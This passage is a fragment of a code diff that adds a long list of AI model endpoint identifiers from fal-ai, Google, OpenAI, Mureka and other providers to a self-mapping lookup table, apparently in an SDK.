'fal-ai/recraft/v4.1/text-to-vector': 'fal-ai/recraft/v4.1/text-to-vector', + 'fal-ai/recraft/v4.1/utility/pro/text-to-image': + 'fal-ai/recraft/v4.1/utility/pro/text-to-image', + 'fal-ai/recraft/v4.1/utility/text-to-image': + 'fal-ai/recraft/v4.1/utility/text-to-image', + 'fal-ai/recraft/v4/pro/text-to-image': 'fal-ai/recraft/v4/pro/text-to-image', + 'fal-ai/recraft/v4/pro/text-to-vector': + 'fal-ai/recraft/v4/pro/text-to-vector', + 'fal-ai/recraft/v4/text-to-image': 'fal-ai/recraft/v4/text-to-image', + 'fal-ai/recraft/v4/text-to-vector': 'fal-ai/recraft/v4/text-to-vector', + 'fal-ai/recraft/vectorize': 'fal-ai/recraft/vectorize', + 'fal-ai/retoucher': 'fal-ai/retoucher', + 'fal-ai/rife': 'fal-ai/rife', + 'fal-ai/rife/video': 'fal-ai/rife/video', + 'fal-ai/sadtalker': 'fal-ai/sadtalker', + 'fal-ai/sadtalker/reference': 'fal-ai/sadtalker/reference', + 'fal-ai/sam-3-1/image': 'fal-ai/sam-3-1/image', + 'fal-ai/sam-3-1/image-rle': 'fal-ai/sam-3-1/image-rle', + 'fal-ai/sam-3-1/video': 'fal-ai/sam-3-1/video', + 'fal-ai/sam-3-1/video-rle': 'fal-ai/sam-3-1/video-rle', + 'fal-ai/sam-3/image': 'fal-ai/sam-3/image', + 'fal-ai/sam-3/image-rle': 'fal-ai/sam-3/image-rle', + 'fal-ai/sam-3/video': 'fal-ai/sam-3/video', + 'fal-ai/sam-3/video-rle': 'fal-ai/sam-3/video-rle', + 'fal-ai/sam-audio/separate': 'fal-ai/sam-audio/separate', + 'fal-ai/sam-audio/span-separate': 'fal-ai/sam-audio/span-separate', + 'fal-ai/sam-audio/visual-separate': 'fal-ai/sam-audio/visual-separate', + 'fal-ai/sam2/auto-segment': 'fal-ai/sam2/auto-segment', + 'fal-ai/sam2/image': 'fal-ai/sam2/image', + 'fal-ai/sam2/video': 'fal-ai/sam2/video', + 'fal-ai/sana': 'fal-ai/sana', + 'fal-ai/sana/sprint': 'fal-ai/sana/sprint', + 'fal-ai/sana/v1.5/1.6b': 'fal-ai/sana/v1.5/1.6b', + 'fal-ai/sana/v1.5/4.8b': 'fal-ai/sana/v1.5/4.8b', + 'fal-ai/scail-2': 'fal-ai/scail-2', + 'fal-ai/sdxl-controlnet-union': 'fal-ai/sdxl-controlnet-union', + 'fal-ai/sdxl-controlnet-union/image-to-image': + 'fal-ai/sdxl-controlnet-union/image-to-image', + 'fal-ai/sdxl-controlnet-union/inpainting': + 'fal-ai/sdxl-controlnet-union/inpainting', + 'fal-ai/seedvr/upscale/image': 'fal-ai/seedvr/upscale/image', + 'fal-ai/seedvr/upscale/image/seamless': + 'fal-ai/seedvr/upscale/image/seamless', + 'fal-ai/seedvr/upscale/video': 'fal-ai/seedvr/upscale/video', + 'fal-ai/silero-vad': 'fal-ai/silero-vad', + 'fal-ai/smart-resize': 'fal-ai/smart-resize', + 'fal-ai/speech-to-text': 'fal-ai/speech-to-text', + 'fal-ai/speech-to-text/stream': 'fal-ai/speech-to-text/stream', + 'fal-ai/speech-to-text/turbo': 'fal-ai/speech-to-text/turbo', + 'fal-ai/speech-to-text/turbo/stream': 'fal-ai/speech-to-text/turbo/stream', + 'fal-ai/stable-audio': 'fal-ai/stable-audio', + 'fal-ai/stable-audio-25/audio-to-audio': + 'fal-ai/stable-audio-25/audio-to-audio', + 'fal-ai/stable-audio-25/inpaint': 'fal-ai/stable-audio-25/inpaint', + 'fal-ai/stable-audio-25/text-to-audio': + 'fal-ai/stable-audio-25/text-to-audio', + 'fal-ai/stable-audio-3/medium/audio-inpainting': + 'fal-ai/stable-audio-3/medium/audio-inpainting', + 'fal-ai/stable-audio-3/medium/audio-outpainting': + 'fal-ai/stable-audio-3/medium/audio-outpainting', + 'fal-ai/stable-audio-3/medium/audio-to-audio': + 'fal-ai/stable-audio-3/medium/audio-to-audio', + 'fal-ai/stable-audio-3/medium/base/audio-inpainting': + 'fal-ai/stable-audio-3/medium/base/audio-inpainting', + 'fal-ai/stable-audio-3/medium/base/audio-outpainting': + 'fal-ai/stable-audio-3/medium/base/audio-outpainting', + 'fal-ai/stable-audio-3/medium/base/audio-to-audio': + 'fal-ai/stable-audio-3/medium/base/audio-to-audio', + 'fal-ai/stable-audio-3/medium/base/text-to-audio': + 'fal-ai/stable-audio-3/medium/base/text-to-audio', + 'fal-ai/stable-audio-3/medium/text-to-audio': + 'fal-ai/stable-audio-3/medium/text-to-audio', + 'fal-ai/stable-audio-3/small/music/audio-inpainting': + 'fal-ai/stable-audio-3/small/music/audio-inpainting', + 'fal-ai/stable-audio-3/small/music/audio-outpainting': + 'fal-ai/stable-audio-3/small/music/audio-outpainting', + 'fal-ai/stable-audio-3/small/music/audio-to-audio': + 'fal-ai/stable-audio-3/small/music/audio-to-audio', + 'fal-ai/stable-audio-3/small/music/base/audio-inpainting': + 'fal-ai/stable-audio-3/small/music/base/audio-inpainting', + 'fal-ai/stable-audio-3/small/music/base/audio-outpainting': + 'fal-ai/stable-audio-3/small/music/base/audio-outpainting', + 'fal-ai/stable-audio-3/small/music/base/audio-to-audio': + 'fal-ai/stable-audio-3/small/music/base/audio-to-audio', + 'fal-ai/stable-audio-3/small/music/base/text-to-audio': + 'fal-ai/stable-audio-3/small/music/base/text-to-audio', + 'fal-ai/stable-audio-3/small/music/text-to-audio': + 'fal-ai/stable-audio-3/small/music/text-to-audio', + 'fal-ai/stable-audio-3/small/sfx/audio-inpainting': + 'fal-ai/stable-audio-3/small/sfx/audio-inpainting', + 'fal-ai/stable-audio-3/small/sfx/audio-outpainting': + 'fal-ai/stable-audio-3/small/sfx/audio-outpainting', + 'fal-ai/stable-audio-3/small/sfx/audio-to-audio': + 'fal-ai/stable-audio-3/small/sfx/audio-to-audio', + 'fal-ai/stable-audio-3/small/sfx/base/audio-inpainting': + 'fal-ai/stable-audio-3/small/sfx/base/audio-inpainting', + 'fal-ai/stable-audio-3/small/sfx/base/audio-outpainting': + 'fal-ai/stable-audio-3/small/sfx/base/audio-outpainting', + 'fal-ai/stable-audio-3/small/sfx/base/audio-to-audio': + 'fal-ai/stable-audio-3/small/sfx/base/audio-to-audio', + 'fal-ai/stable-audio-3/small/sfx/base/text-to-audio': + 'fal-ai/stable-audio-3/small/sfx/base/text-to-audio', + 'fal-ai/stable-audio-3/small/sfx/text-to-audio': + 'fal-ai/stable-audio-3/small/sfx/text-to-audio', + 'fal-ai/stable-diffusion-v15': 'fal-ai/stable-diffusion-v15', + 'fal-ai/stable-diffusion-v3-medium': 'fal-ai/stable-diffusion-v3-medium', + 'fal-ai/stable-diffusion-v3-medium/image-to-image': + 'fal-ai/stable-diffusion-v3-medium/image-to-image', + 'fal-ai/stable-diffusion-v35-large': 'fal-ai/stable-diffusion-v35-large', + 'fal-ai/stable-diffusion-v35-medium': 'fal-ai/stable-diffusion-v35-medium', + 'fal-ai/stepx-edit2': 'fal-ai/stepx-edit2', + 'fal-ai/sync-lipsync': 'fal-ai/sync-lipsync', + 'fal-ai/sync-lipsync/react-1': 'fal-ai/sync-lipsync/react-1', + 'fal-ai/sync-lipsync/v2': 'fal-ai/sync-lipsync/v2', + 'fal-ai/sync-lipsync/v2/pro': 'fal-ai/sync-lipsync/v2/pro', + 'fal-ai/sync-lipsync/v3': 'fal-ai/sync-lipsync/v3', + 'fal-ai/sync-lipsync/v3/image-to-video': + 'fal-ai/sync-lipsync/v3/image-to-video', + 'fal-ai/tada/1b/text-to-speech': 'fal-ai/tada/1b/text-to-speech', + 'fal-ai/tada/3b/text-to-speech': 'fal-ai/tada/3b/text-to-speech', + 'fal-ai/telestyle-v2': 'fal-ai/telestyle-v2', + 'fal-ai/thinksound': 'fal-ai/thinksound', + 'fal-ai/thinksound/audio': 'fal-ai/thinksound/audio', + 'fal-ai/uso': 'fal-ai/uso', + 'fal-ai/vibevoice': 'fal-ai/vibevoice', + 'fal-ai/vibevoice/0.5b': 'fal-ai/vibevoice/0.5b', + 'fal-ai/vibevoice/7b': 'fal-ai/vibevoice/7b', + 'fal-ai/video-prompt-generator': 'fal-ai/video-prompt-generator', + 'fal-ai/video-upscaler': 'fal-ai/video-upscaler', + 'fal-ai/vidu/image-to-video': 'fal-ai/vidu/image-to-video', + 'fal-ai/vidu/q1/image-to-video': 'fal-ai/vidu/q1/image-to-video', + 'fal-ai/vidu/q1/reference-to-video': 'fal-ai/vidu/q1/reference-to-video', + 'fal-ai/vidu/q1/start-end-to-video': 'fal-ai/vidu/q1/start-end-to-video', + 'fal-ai/vidu/q1/text-to-video': 'fal-ai/vidu/q1/text-to-video', + 'fal-ai/vidu/q2/image-to-video/pro': 'fal-ai/vidu/q2/image-to-video/pro', + 'fal-ai/vidu/q2/image-to-video/turbo': 'fal-ai/vidu/q2/image-to-video/turbo', + 'fal-ai/vidu/q2/reference-to-image': 'fal-ai/vidu/q2/reference-to-image', + 'fal-ai/vidu/q2/reference-to-video/pro': + 'fal-ai/vidu/q2/reference-to-video/pro', + 'fal-ai/vidu/q2/text-to-image': 'fal-ai/vidu/q2/text-to-image', + 'fal-ai/vidu/q2/text-to-video': 'fal-ai/vidu/q2/text-to-video', + 'fal-ai/vidu/q2/video-extension/pro': 'fal-ai/vidu/q2/video-extension/pro', + 'fal-ai/vidu/q3/image-to-video': 'fal-ai/vidu/q3/image-to-video', + 'fal-ai/vidu/q3/image-to-video/turbo': 'fal-ai/vidu/q3/image-to-video/turbo', + 'fal-ai/vidu/q3/reference-to-video/mix': + 'fal-ai/vidu/q3/reference-to-video/mix', + 'fal-ai/vidu/q3/text-to-video': 'fal-ai/vidu/q3/text-to-video', + 'fal-ai/vidu/q3/text-to-video/turbo': 'fal-ai/vidu/q3/text-to-video/turbo', + 'fal-ai/vidu/q4/image-to-video': 'fal-ai/vidu/q4/image-to-video', + 'fal-ai/vidu/q4/reference-to-video': 'fal-ai/vidu/q4/reference-to-video', + 'fal-ai/vidu/reference-to-image': 'fal-ai/vidu/reference-to-image', + 'fal-ai/vidu/reference-to-video': 'fal-ai/vidu/reference-to-video', + 'fal-ai/vidu/start-end-to-video': 'fal-ai/vidu/start-end-to-video', + 'fal-ai/vidu/template-to-video': 'fal-ai/vidu/template-to-video', + 'fal-ai/void-video-inpainting': 'fal-ai/void-video-inpainting', + 'fal-ai/wan-22-vace-fun-a14b/depth': 'fal-ai/wan-22-vace-fun-a14b/depth', + 'fal-ai/wan-22-vace-fun-a14b/inpainting': + 'fal-ai/wan-22-vace-fun-a14b/inpainting', + 'fal-ai/wan-22-vace-fun-a14b/outpainting': + 'fal-ai/wan-22-vace-fun-a14b/outpainting', + 'fal-ai/wan-22-vace-fun-a14b/reframe': 'fal-ai/wan-22-vace-fun-a14b/reframe', + 'fal-ai/wan-25-preview/image-to-image': + 'fal-ai/wan-25-preview/image-to-image', + 'fal-ai/wan-25-preview/image-to-video': + 'fal-ai/wan-25-preview/image-to-video', + 'fal-ai/wan-25-preview/text-to-image': 'fal-ai/wan-25-preview/text-to-image', + 'fal-ai/wan-25-preview/text-to-video': 'fal-ai/wan-25-preview/text-to-video', + 'fal-ai/wan-i2v': 'fal-ai/wan-i2v', + 'fal-ai/wan-i2v-lora': 'fal-ai/wan-i2v-lora', + 'fal-ai/wan-pro/image-to-video': 'fal-ai/wan-pro/image-to-video', + 'fal-ai/wan-pro/text-to-video': 'fal-ai/wan-pro/text-to-video', + 'fal-ai/wan-t2v-lora': 'fal-ai/wan-t2v-lora', + 'fal-ai/wan-vace-14b': 'fal-ai/wan-vace-14b', + 'fal-ai/wan-vace-14b/depth': 'fal-ai/wan-vace-14b/depth', + 'fal-ai/wan-vace-14b/inpainting': 'fal-ai/wan-vace-14b/inpainting', + 'fal-ai/wan-vace-14b/outpainting': 'fal-ai/wan-vace-14b/outpainting', + 'fal-ai/wan-vace-14b/pose': 'fal-ai/wan-vace-14b/pose', + 'fal-ai/wan-vace-14b/reframe': 'fal-ai/wan-vace-14b/reframe', + 'fal-ai/wan-vace-apps/long-reframe': 'fal-ai/wan-vace-apps/long-reframe', + 'fal-ai/wan-vace-apps/video-edit': 'fal-ai/wan-vace-apps/video-edit', + 'fal-ai/wan/v2.2-14b/animate/move': 'fal-ai/wan/v2.2-14b/animate/move', + 'fal-ai/wan/v2.2-14b/animate/replace': 'fal-ai/wan/v2.2-14b/animate/replace', + 'fal-ai/wan/v2.2-14b/speech-to-video': 'fal-ai/wan/v2.2-14b/speech-to-video', + 'fal-ai/wan/v2.2-5b/image-to-video': 'fal-ai/wan/v2.2-5b/image-to-video', + 'fal-ai/wan/v2.2-5b/text-to-image': 'fal-ai/wan/v2.2-5b/text-to-image', + 'fal-ai/wan/v2.2-5b/text-to-video': 'fal-ai/wan/v2.2-5b/text-to-video', + 'fal-ai/wan/v2.2-5b/text-to-video/distill': + 'fal-ai/wan/v2.2-5b/text-to-video/distill', + 'fal-ai/wan/v2.2-5b/text-to-video/fast-wan': + 'fal-ai/wan/v2.2-5b/text-to-video/fast-wan', + 'fal-ai/wan/v2.2-a14b/image-to-image': 'fal-ai/wan/v2.2-a14b/image-to-image', + 'fal-ai/wan/v2.2-a14b/image-to-video': 'fal-ai/wan/v2.2-a14b/image-to-video', + 'fal-ai/wan/v2.2-a14b/image-to-video/lora': + 'fal-ai/wan/v2.2-a14b/image-to-video/lora', + 'fal-ai/wan/v2.2-a14b/image-to-video/turbo': + 'fal-ai/wan/v2.2-a14b/image-to-video/turbo', + 'fal-ai/wan/v2.2-a14b/text-to-image': 'fal-ai/wan/v2.2-a14b/text-to-image', + 'fal-ai/wan/v2.2-a14b/text-to-image/lora': + 'fal-ai/wan/v2.2-a14b/text-to-image/lora', + 'fal-ai/wan/v2.2-a14b/text-to-video': 'fal-ai/wan/v2.2-a14b/text-to-video', + 'fal-ai/wan/v2.2-a14b/text-to-video/lora': + 'fal-ai/wan/v2.2-a14b/text-to-video/lora', + 'fal-ai/wan/v2.2-a14b/text-to-video/turbo': + 'fal-ai/wan/v2.2-a14b/text-to-video/turbo', + 'fal-ai/wan/v2.2-a14b/video-to-video': 'fal-ai/wan/v2.2-a14b/video-to-video', + 'fal-ai/wan/v2.7/edit': 'fal-ai/wan/v2.7/edit', + 'fal-ai/wan/v2.7/edit-video': 'fal-ai/wan/v2.7/edit-video', + 'fal-ai/wan/v2.7/image-to-video': 'fal-ai/wan/v2.7/image-to-video', + 'fal-ai/wan/v2.7/pro/edit': 'fal-ai/wan/v2.7/pro/edit', + 'fal-ai/wan/v2.7/pro/text-to-image': 'fal-ai/wan/v2.7/pro/text-to-image', + 'fal-ai/wan/v2.7/reference-to-video': 'fal-ai/wan/v2.7/reference-to-video', + 'fal-ai/wan/v2.7/text-to-image': 'fal-ai/wan/v2.7/text-to-image', + 'fal-ai/wan/v2.7/text-to-video': 'fal-ai/wan/v2.7/text-to-video', + 'fal-ai/wizper': 'fal-ai/wizper', + 'fal-ai/workflow-utilities/audio-compressor': + 'fal-ai/workflow-utilities/audio-compressor', + 'fal-ai/workflow-utilities/auto-subtitle': + 'fal-ai/workflow-utilities/auto-subtitle', + 'fal-ai/workflow-utilities/blend-video': + 'fal-ai/workflow-utilities/blend-video', + 'fal-ai/workflow-utilities/extract-nth-frame': + 'fal-ai/workflow-utilities/extract-nth-frame', + 'fal-ai/workflow-utilities/impulse-response': + 'fal-ai/workflow-utilities/impulse-response', + 'fal-ai/workflow-utilities/reverse-video': + 'fal-ai/workflow-utilities/reverse-video', + 'fal-ai/workflow-utilities/scale-video': + 'fal-ai/workflow-utilities/scale-video', + 'fal-ai/workflow-utilities/trim-video': + 'fal-ai/workflow-utilities/trim-video', + 'fal-ai/z-image/base': 'fal-ai/z-image/base', + 'fal-ai/z-image/base/lora': 'fal-ai/z-image/base/lora', + 'fal-ai/z-image/turbo': 'fal-ai/z-image/turbo', + 'fal-ai/z-image/turbo/controlnet': 'fal-ai/z-image/turbo/controlnet', + 'fal-ai/z-image/turbo/controlnet/lora': + 'fal-ai/z-image/turbo/controlnet/lora', + 'fal-ai/z-image/turbo/image-to-image': 'fal-ai/z-image/turbo/image-to-image', + 'fal-ai/z-image/turbo/image-to-image/lora': + 'fal-ai/z-image/turbo/image-to-image/lora', + 'fal-ai/z-image/turbo/inpaint': 'fal-ai/z-image/turbo/inpaint', + 'fal-ai/z-image/turbo/inpaint/lora': 'fal-ai/z-image/turbo/inpaint/lora', + 'fal-ai/z-image/turbo/lora': 'fal-ai/z-image/turbo/lora', + 'fal-ai/z-image/turbo/tiling': 'fal-ai/z-image/turbo/tiling', + 'fal-ai/z-image/turbo/tiling/lora': 'fal-ai/z-image/turbo/tiling/lora', + 'fal-ai/zonos': 'fal-ai/zonos', + 'fal-ai/zonos2': 'fal-ai/zonos2', + 'google/gemini-3.8-flash-lite-tts': 'google/gemini-3.8-flash-lite-tts', + 'google/gemini-3.8-flash-tts': 'google/gemini-3.8-flash-tts', + 'google/gemini-omni-flash': 'google/gemini-omni-flash', + 'google/gemini-omni-flash/edit': 'google/gemini-omni-flash/edit', + 'google/gemini-omni-flash/image-to-video': + 'google/gemini-omni-flash/image-to-video', + 'google/gemini-omni-flash/reference-to-video': + 'google/gemini-omni-flash/reference-to-video', + 'google/gemini-omni-flash/v1.1/edit': 'google/gemini-omni-flash/v1.1/edit', + 'google/gemini-omni-flash/v1.1/image-to-video': + 'google/gemini-omni-flash/v1.1/image-to-video', + 'google/gemini-omni-flash/v1.1/reference-to-video': + 'google/gemini-omni-flash/v1.1/reference-to-video', + 'google/gemini-omni-flash/v1.1/text-to-video': + 'google/gemini-omni-flash/v1.1/text-to-video', + 'google/gemini-omni-flash/v1.2/edit': 'google/gemini-omni-flash/v1.2/edit', + 'google/gemini-omni-flash/v1.2/extend': + 'google/gemini-omni-flash/v1.2/extend', + 'google/gemini-omni-flash/v1.2/image-to-video': + 'google/gemini-omni-flash/v1.2/image-to-video', + 'google/gemini-omni-flash/v1.2/reference-to-video': + 'google/gemini-omni-flash/v1.2/reference-to-video', + 'google/gemini-omni-flash/v1.2/text-to-video': + 'google/gemini-omni-flash/v1.2/text-to-video', + 'google/gemini-omni-flash/v1.2/upscale': + 'google/gemini-omni-flash/v1.2/upscale', + 'google/lyria-3.5': 'google/lyria-3.5', + 'google/nano-banana-2-lite': 'google/nano-banana-2-lite', + 'google/nano-banana-2.1': 'google/nano-banana-2.1', + 'google/nano-banana-2.1/edit': 'google/nano-banana-2.1/edit', + 'google/nano-banana-lite': 'google/nano-banana-lite', + 'google/nano-banana-lite/edit': 'google/nano-banana-lite/edit', + 'google/virtual-try-on': 'google/virtual-try-on', + 'heygen/heygen-video/image-to-video': 'heygen/heygen-video/image-to-video', + 'heygen/heygen-video/reference-to-video': + 'heygen/heygen-video/reference-to-video', + 'heygen/heygen-video/text-to-video': 'heygen/heygen-video/text-to-video', + 'heygen/heygen-voice': 'heygen/heygen-voice', + 'heygen/heygen-voice/turbo': 'heygen/heygen-voice/turbo', + 'hitem3d/hi3d/image-to-relief': 'hitem3d/hi3d/image-to-relief', + 'ideogram/v4': 'ideogram/v4', + 'ideogram/v4.5': 'ideogram/v4.5', + 'ideogram/v4.5/edit': 'ideogram/v4.5/edit', + 'ideogram/v4/fast': 'ideogram/v4/fast', + 'ideogram/v4/image-to-image': 'ideogram/v4/image-to-image', + 'ideogram/v4/image-to-image/lora': 'ideogram/v4/image-to-image/lora', + 'ideogram/v4/instant': 'ideogram/v4/instant', + 'ideogram/v4/lora': 'ideogram/v4/lora', + 'ideogram/v4/tiling': 'ideogram/v4/tiling', + 'ideogram/v4/tiling/lora': 'ideogram/v4/tiling/lora', + 'ideogram/vector/image-to-vector': 'ideogram/vector/image-to-vector', + 'ideogram/vector/text-to-vector': 'ideogram/vector/text-to-vector', + 'kling/v4/flash/image-to-video': 'kling/v4/flash/image-to-video', + 'kling/v4/flash/reference-to-video': 'kling/v4/flash/reference-to-video', + 'kling/v4/flash/text-to-video': 'kling/v4/flash/text-to-video', + 'kling/v4/flash/video-to-video': 'kling/v4/flash/video-to-video', + 'kling/v4/image-to-video': 'kling/v4/image-to-video', + 'kling/v4/reference-to-video': 'kling/v4/reference-to-video', + 'kling/v4/text-to-video': 'kling/v4/text-to-video', + 'kling/v4/video-to-video/edit': 'kling/v4/video-to-video/edit', + 'kotoba-technologies/kotoba-stt/v1/speech-to-text': + 'kotoba-technologies/kotoba-stt/v1/speech-to-text', + 'krea/v2/large/text-to-image': 'krea/v2/large/text-to-image', + 'krea/v2/medium/text-to-image': 'krea/v2/medium/text-to-image', + 'krea/v2/medium/turbo/text-to-image': 'krea/v2/medium/turbo/text-to-image', + 'krea/v3/edit': 'krea/v3/edit', + 'krea/v3/realtime': 'krea/v3/realtime', + 'krea/v3/text-to-image': 'krea/v3/text-to-image', + 'lightricks/ltx-2.5/audio-to-video/fast': + 'lightricks/ltx-2.5/audio-to-video/fast', + 'lightricks/ltx-2.5/audio-to-video/pro': + 'lightricks/ltx-2.5/audio-to-video/pro', + 'lightricks/ltx-2.5/image-to-video/fast': + 'lightricks/ltx-2.5/image-to-video/fast', + 'lightricks/ltx-2.5/image-to-video/pro': + 'lightricks/ltx-2.5/image-to-video/pro', + 'lightricks/ltx-2.5/text-to-video/fast': + 'lightricks/ltx-2.5/text-to-video/fast', + 'lightricks/ltx-2.5/text-to-video/pro': + 'lightricks/ltx-2.5/text-to-video/pro', + 'luma/agent/ray/v3.2/image-to-video': 'luma/agent/ray/v3.2/image-to-video', + 'luma/agent/ray/v3.2/reframe': 'luma/agent/ray/v3.2/reframe', + 'luma/agent/ray/v3.2/text-to-video': 'luma/agent/ray/v3.2/text-to-video', + 'luma/agent/ray/v3.2/video-to-video': 'luma/agent/ray/v3.2/video-to-video', + 'luma/agent/uni-1/v1/edit': 'luma/agent/uni-1/v1/edit', + 'luma/agent/uni-1/v1/max': 'luma/agent/uni-1/v1/max', + 'luma/agent/uni-1/v1/max/edit': 'luma/agent/uni-1/v1/max/edit', + 'luma/agent/uni-1/v1/text-to-image': 'luma/agent/uni-1/v1/text-to-image', + 'meta/muse-image/edit': 'meta/muse-image/edit', + 'meta/muse-image/text-to-image': 'meta/muse-image/text-to-image', + 'microsoft/mai-image-2.5': 'microsoft/mai-image-2.5', + 'microsoft/mai-image-2.5-pro': 'microsoft/mai-image-2.5-pro', + 'microsoft/mai-image-2.5-pro/edit': 'microsoft/mai-image-2.5-pro/edit', + 'microsoft/mai-image-2.5/edit': 'microsoft/mai-image-2.5/edit', + 'minimax/h3-max-turbo/extend-video': 'minimax/h3-max-turbo/extend-video', + 'minimax/h3-max-turbo/image-to-video': 'minimax/h3-max-turbo/image-to-video', + 'minimax/h3-max-turbo/reference-to-video': + 'minimax/h3-max-turbo/reference-to-video', + 'minimax/h3-max-turbo/text-to-video': 'minimax/h3-max-turbo/text-to-video', + 'minimax/h3-max/3d-to-video': 'minimax/h3-max/3d-to-video', + 'minimax/h3-max/camera-controls': 'minimax/h3-max/camera-controls', + 'minimax/h3-max/director': 'minimax/h3-max/director', + 'minimax/h3-max/extend-video': 'minimax/h3-max/extend-video', + 'minimax/h3-max/image-to-video': 'minimax/h3-max/image-to-video', + 'minimax/h3-max/insert-video': 'minimax/h3-max/insert-video', + 'minimax/h3-max/lip-sync/image-to-video': + 'minimax/h3-max/lip-sync/image-to-video', + 'minimax/h3-max/recast': 'minimax/h3-max/recast', + 'minimax/h3-max/reference-to-video': 'minimax/h3-max/reference-to-video', + 'minimax/h3-max/reframe-video': 'minimax/h3-max/reframe-video', + 'minimax/h3-max/relight': 'minimax/h3-max/relight', + 'minimax/h3-max/styles/16bit-pixel': 'minimax/h3-max/styles/16bit-pixel', + 'minimax/h3-max/styles/hand-drawn': 'minimax/h3-max/styles/hand-drawn', + 'minimax/h3-max/styles/low-poly': 'minimax/h3-max/styles/low-poly', + 'minimax/h3-max/styles/retro-toon-70s': + 'minimax/h3-max/styles/retro-toon-70s', + 'minimax/h3-max/styles/vhs': 'minimax/h3-max/styles/vhs', + 'minimax/h3-max/text-to-video': 'minimax/h3-max/text-to-video', + 'minimax/h3/image-to-video': 'minimax/h3/image-to-video', + 'minimax/h3/image-to-video/lora': 'minimax/h3/image-to-video/lora', + 'minimax/h3/reference-to-video': 'minimax/h3/reference-to-video', + 'minimax/h3/reference-to-video/lora': 'minimax/h3/reference-to-video/lora', + 'minimax/h3/text-to-video': 'minimax/h3/text-to-video', + 'minimax/h3/text-to-video/lora': 'minimax/h3/text-to-video/lora', + 'minimax/music-3': 'minimax/music-3', + 'mirelo-ai/sfx2.0/text-to-audio': 'mirelo-ai/sfx2.0/text-to-audio', + 'mirelo-ai/sfx2.0/video-to-audio': 'mirelo-ai/sfx2.0/video-to-audio', + 'mirelo-ai/sfx2.0/video-to-video': 'mirelo-ai/sfx2.0/video-to-video', + 'moonvalley/marey/i2v': 'moonvalley/marey/i2v', + 'moonvalley/marey/motion-transfer': 'moonvalley/marey/motion-transfer', + 'moonvalley/marey/pose-transfer': 'moonvalley/marey/pose-transfer', + 'moonvalley/marey/t2v': 'moonvalley/marey/t2v', + 'mureka/api/generate/lyrics': 'mureka/api/generate/lyrics', + 'mureka/api/generate/lyrics-video': 'mureka/api/generate/lyrics-video', + 'mureka/api/generate/podcast': 'mureka/api/generate/podcast', + 'mureka/api/generate/speech': 'mureka/api/generate/speech', + 'mureka/api/lyrics/extend': 'mureka/api/lyrics/extend', + 'mureka/api/song/describe': 'mureka/api/song/describe', + 'mureka/api/song/edit': 'mureka/api/song/edit', + 'mureka/api/song/recognize': 'mureka/api/song/recognize', + 'mureka/api/song/stem': 'mureka/api/song/stem', + 'mureka/api/song/transcribe': 'mureka/api/song/transcribe', + 'mureka/api/voice/clone': 'mureka/api/voice/clone', + 'mureka/v8/generate/instrumental': 'mureka/v8/generate/instrumental', + 'mureka/v8/generate/song': 'mureka/v8/generate/song', + 'mureka/v8/generate/soundtrack': 'mureka/v8/generate/soundtrack', + 'mureka/v8/generate/track': 'mureka/v8/generate/track', + 'mureka/v8/song/extend': 'mureka/v8/song/extend', + 'mureka/v8/song/remix': 'mureka/v8/song/remix', + 'mureka/v9.5/generate/instrumental': 'mureka/v9.5/generate/instrumental', + 'mureka/v9.5/generate/song': 'mureka/v9.5/generate/song', + 'mureka/v9.5/generate/soundtrack': 'mureka/v9.5/generate/soundtrack', + 'mureka/v9.5/song/remix': 'mureka/v9.5/song/remix', + 'mureka/v9/generate/instrumental': 'mureka/v9/generate/instrumental', + 'mureka/v9/generate/song': 'mureka/v9/generate/song', + 'mureka/v9/generate/soundtrack': 'mureka/v9/generate/soundtrack', + 'nvidia/cosmos-3-super/image-to-video': + 'nvidia/cosmos-3-super/image-to-video', + 'nvidia/cosmos-3-super/text-to-image': 'nvidia/cosmos-3-super/text-to-image', + 'nvidia/nemotron-3-5-super/text': 'nvidia/nemotron-3-5-super/text', + 'nvidia/nemotron-3-5-super/video': 'nvidia/nemotron-3-5-super/video', + 'nvidia/nemotron-3-5-super/vision': 'nvidia/nemotron-3-5-super/vision', + 'nvidia/nemotron-3-nano-omni': 'nvidia/nemotron-3-nano-omni', + 'nvidia/nemotron-3-nano-omni/audio': 'nvidia/nemotron-3-nano-omni/audio', + 'nvidia/nemotron-3-nano-omni/video': 'nvidia/nemotron-3-nano-omni/video', + 'nvidia/nemotron-3-nano-omni/vision': 'nvidia/nemotron-3-nano-omni/vision', + 'nvidia/nemotron-asr-multilingual/asr': + 'nvidia/nemotron-asr-multilingual/asr', + 'openai/gpt-image-2': 'openai/gpt-image-2', + 'openai/gpt-image-2.5/flare/edit': 'openai/gpt-image-2.5/flare/edit', + 'openai/gpt-image-2.5/flare/text-to-image': + 'openai/gpt-image-2.5/flare/text-to-image', + 'openai/gpt-image-2.5/sunburst/edit': 'openai/gpt-image-2.5/sunburst/edit', + 'openai/gpt-image-2.5/sunburst/text-to-image': + 'openai/gpt-image-2.5/sunburst/text-to-image', + 'openai/gpt-image-2.6/flare/edit': 'openai/gpt-image-2.6/flare/edit', + 'openai/gpt-image-2.6/flare/text-to-image': + 'openai/gpt-image-2.6/flare/text-to-image', + 'openai/gpt-image-2.6/sunburst/edit': 'openai/gpt-image-2.6/sunburst/edit', + 'openai/gpt-image-2.6/sunburst/text-to-image': + 'openai/gpt-image-2.6/sunburst/text-to-image', + 'openai/gpt-image-2/edit': 'openai/gpt-image-2/edit', + 'openrouter/router': 'openrouter/router', + 'openrouter/router/decisions': 'openrouter/router/decisions', + 'openrouter/router/enterprise': 'openrouter/router/enterprise', + 'openrouter/router/openai/v1/chat/completions': + 'openrouter/router/openai/v1/chat/completions', + 'openrouter/router/openai/v1/embeddings': + 'openrouter/router/openai/v1/embeddings', + 'openrouter/router/openai/v1/responses': + 'openrouter/router/openai/v1/responses', + 'openrouter/router/video': 'openrouter/router/video', + 'openrouter/router/video/enterprise': 'openrouter/router/video/enterprise', + 'pixelcut/background-removal': 'pixelcut/background-removal', + 'pixelcut/looping-video': 'pixelcut/looping-video', + 'pixelcut/product-photo': 'pixelcut/product-photo', + 'pixelcut/video-background-removal': 'pixelcut/video-background-removal', + 'pixverse/music-video/vibemv': 'pixverse/music-video/vibemv', + 'recraft/v4.1/flash/text-to-image': 'recraft/v4.1/flash/text-to-image', + 'recraft/v4/style/pro/text-to-image': 'recraft/v4/style/pro/text-to-image', + 'recraft/v4/style/pro/text-to-vector': 'recraft/v4/style/pro/text-to-vector', + 'recraft/v4/style/text-to-image': 'recraft/v4/style/text-to-image', + 'recraft/v4/style/text-to-vector': 'recraft/v4/style/text-to-vector', + 'resemble-ai/chatterboxhd/speech-to-speech': + 'resemble-ai/chatterboxhd/speech-to-speech', + 